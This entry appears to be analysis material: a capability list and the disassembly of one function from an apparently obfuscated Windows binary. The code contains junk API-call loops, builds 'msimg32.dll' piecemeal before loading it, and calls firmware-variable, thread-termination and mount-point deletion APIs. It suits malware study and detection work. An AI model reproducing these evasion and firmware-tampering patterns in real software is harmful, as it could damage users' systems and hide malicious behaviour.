Function at 0x427fa0
Capabilities:
Get common file path
Get disk information
Get file size
Get hostname
Manipulate console buffer
Read .ini file
Set uefi variable
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42d85b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1af8
call fcn.00411380
push ebx
mov ebx, dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push esi
xor eax, eax
mov dword [esp + 0xc], eax
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x10]
cmp eax, 0x2d227
jge 0x427ffb
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CharToOemBuffA]
mov eax, dword [esp + 0x10]
cmp dword [0x7b9714], 0x6fb
jne 0x42806e
push esi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call ebx
push 0x30
lea eax, [esp + 0x4c]
push 0
push eax
mov dword [esp + 0x50], 0
call fcn.0040e730
add esp, 0xc
push edi
lea ecx, [esp + 0x48]
push ecx
push 0
call ebp
push 0
lea edx, [esp + 0x30c]
push edx
push 0x403f68
call dword [sym.imp.KERNEL32.dll_GetProfileSectionA]
push 0
push 0
push 0x403fb8
push 0x403ffc
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
mov eax, dword [esp + 0x10]
cmp eax, 0x1e9c85e6
jle 0x428089
cmp dword [esp + 0x10], 0xc0e452
je 0x428089
cmp dword [esp + 0x50], 0x927f260
jne 0x42809b
inc eax
mov dword [esp + 0x10], eax
cmp eax, 0x7d623
jl 0x427fe4
jmp 0x4280d4
cmp dword [0x7b9714], 0x28
jne 0x4280d4
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x30c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x40400c
push 0x403fa4
push 0x404014
call dword [sym.imp.KERNEL32.dll_WriteProfileStringA]
cmp dword [0x7b9714], 0xcf8
jne 0x428151
push 0
push 0
call fcn.004118da
xor esi, esi
push 0x404078
mov dword [esp + 0x38], 0xf
mov dword [esp + 0x34], esi
mov byte [esp + 0x24], 0
call fcn.00407960
add esp, 0xc
push eax
push 0x404078
lea ecx, [esp + 0x20]
call fcn.00405f70
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x7c]
push eax
mov dword [esp + 0x1b1c], esi
call fcn.004056d0
cmp dword [esp + 0x2c], 0x10
jb 0x428142
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00407b30
add esp, 4
push esi
call fcn.00407c39
add esp, 4
push esi
call fcn.00407ecb
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileSize]
xor esi, esi
cmp esi, 0x408
jne 0x428178
mov eax, 0x5d1
add dword [0x7b9714], eax
cmp dword [0x7b9714], 0xca3
jne 0x4281a9
push 0
push 0
push 0
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x14]
push ecx
push edx
push edx
push 0x404098
push edx
mov dword [esp + 0x24], edx
call ebx
push 0
push 0
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x428165
mov eax, dword [0x7b9714]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x7b967c], eax
mov eax, dword [0x7b9714]
xor esi, esi
test eax, eax
je 0x42826b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
mov ebx, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
cmp eax, 0xfe
jne 0x428232
push 0
lea ecx, [esp + 0x30c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
push 0
call edi
xor eax, eax
lea edx, [esp + 0x18]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
push edx
lea eax, [esp + 0x48]
push eax
push 0x4040c4
call ebx
call fcn.00427ab0
mov eax, dword [0x7b9714]
cmp eax, 0x29
jne 0x428262
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov eax, dword [0x7b9714]
inc esi
cmp esi, eax
jb 0x4281e6
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov edi, 0x9682ab
cmp eax, 3
jne 0x42828e
push 0
push 0
push 0
push 0
push 0
push 0
call esi
mov eax, dword [0x7b9714]
dec edi
jne 0x428276
mov esi, dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov ebx, 0x25887
mov edi, 0xabebc05c
mov dword [0x7b9684], edi
cmp eax, 0x222
jne 0x4282c7
push 0
lea ecx, [esp + 0x30c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
call esi
mov eax, dword [0x7b9714]
dec ebx
jne 0x4282a1
mov byte [0x4359c8], bl
call fcn.00427a00
call fcn.00427d90
mov ebp, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFlags]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
xor esi, esi
mov edi, edi
cmp dword [0x7b9714], 0xba
jne 0x428307
push 0x4040d0
push 0
push 0
call ebp
push 0
call edi
push 0
call ebx
cmp esi, 0x2f64
jne 0x428322
mov eax, 0x29b6
add dword [0x7b967c], eax
inc esi
cmp esi, 0x1605a
jl 0x4282f0
mov ebx, 0x6c
push 0x4359c8
mov dword [0x4359ce], 0x6c642e32
mov dword [0x4359c8], 0x6d69736d
mov word [0x4359d2], bx
mov word [0x4359cc], 0x3367
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, 0x73
mov eax, 0x6d
mov ecx, 0x33
mov word [0x7b971a], dx
mov word [0x7b971e], ax
mov word [0x7b9722], cx
xor eax, eax
cmp dword [0x7b9714], 0xc30
mov edx, ebx
mov ecx, 0x64
mov word [0x7b972a], dx
mov word [0x7b972e], ax
mov word [0x7b9728], cx
mov edx, 0x67
mov eax, 0x69
mov ecx, 0x6d
mov word [0x7b9720], dx
mov word [0x7b971c], ax
mov word [0x7b9718], cx
mov word [0x7b972c], bx
mov dword [0x7b9724], 0x2e0032
jne 0x4284bc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea ecx, [esp + 0x1c8]
push ecx
push 0x4040f4
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push 0
lea eax, [esp + 0x14]
push eax
push 0
lea ecx, [esp + 0x314]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
lea edx, [esp + 0xb0c]
push edx
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x44]
push ecx
lea edx, [esp + 0x50]
push edx
lea eax, [esp + 0x48]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x404100
call esi
push 0
lea ecx, [esp + 0x130c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea edx, [esp + 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_SetTimeZoneInformation]
push 0
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push 0x404110
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov ecx, dword [esp + 0x1b0c]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret